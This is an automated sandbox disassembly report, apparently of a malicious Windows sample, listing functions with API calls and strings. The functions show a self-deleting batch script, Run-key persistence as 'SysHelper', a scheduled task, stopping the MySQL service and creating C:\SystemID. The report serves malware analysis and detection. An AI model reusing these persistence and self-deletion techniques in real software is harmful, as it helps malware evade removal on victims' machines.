Opcode ID: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction ID: 275dd0b1ae59d7aa5d1c23d1b64c6eee76a350be21334d4cde6f8a02617c5264
Opcode Fuzzy Hash: ea67dc9e2b6fd99e4d4b2082a3cd53fb6e3c794773a19c18e99169158be55dec
Instruction Fuzzy Hash: 97E0BDB4F0420597EF60DEB69E49F6B76A8AB04645B440835E904F2281DA3DD8218A29

Uniqueness

Uniqueness Score: -1.00%

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

@echo off:trydel ", xrefs: 0041262A
" goto try, xrefs: 00412666
delself.bat, xrefs: 0041261C
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
del ", xrefs: 00412674
TEMP, xrefs: 004125DF
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
"if exist ", xrefs: 00412648
D, xrefs: 00412720

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(005C4D38), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Strings

8M\, xrefs: 00427B5A, 00427B7E, 00427B90

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID: 8M\
API String ID: 3064303923-4063445421
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
-----, xrefs: 004636D4, 00463A21
, xrefs: 00463A90
-----END , xrefs: 0046382F, 00463940, 004639E4
-----BEGIN , xrefs: 004636A4

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: cb9e21a8909c22ae086980ad9bb3b6b683aca236df65bd2ad44c41cd33641913
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Uniqueness

Uniqueness Score: -1.00%

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: 872b512db91234dd009610a63f2564f2aa606f2dd561917cc2f2326c6301647b
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Comment, xrefs: 0040DBFF
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

fopen(', xrefs: 00465611
',', xrefs: 0046560B
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2022224043.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2022224043.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Z4CYGTBlj7.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID:
API String ID: 790675137-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

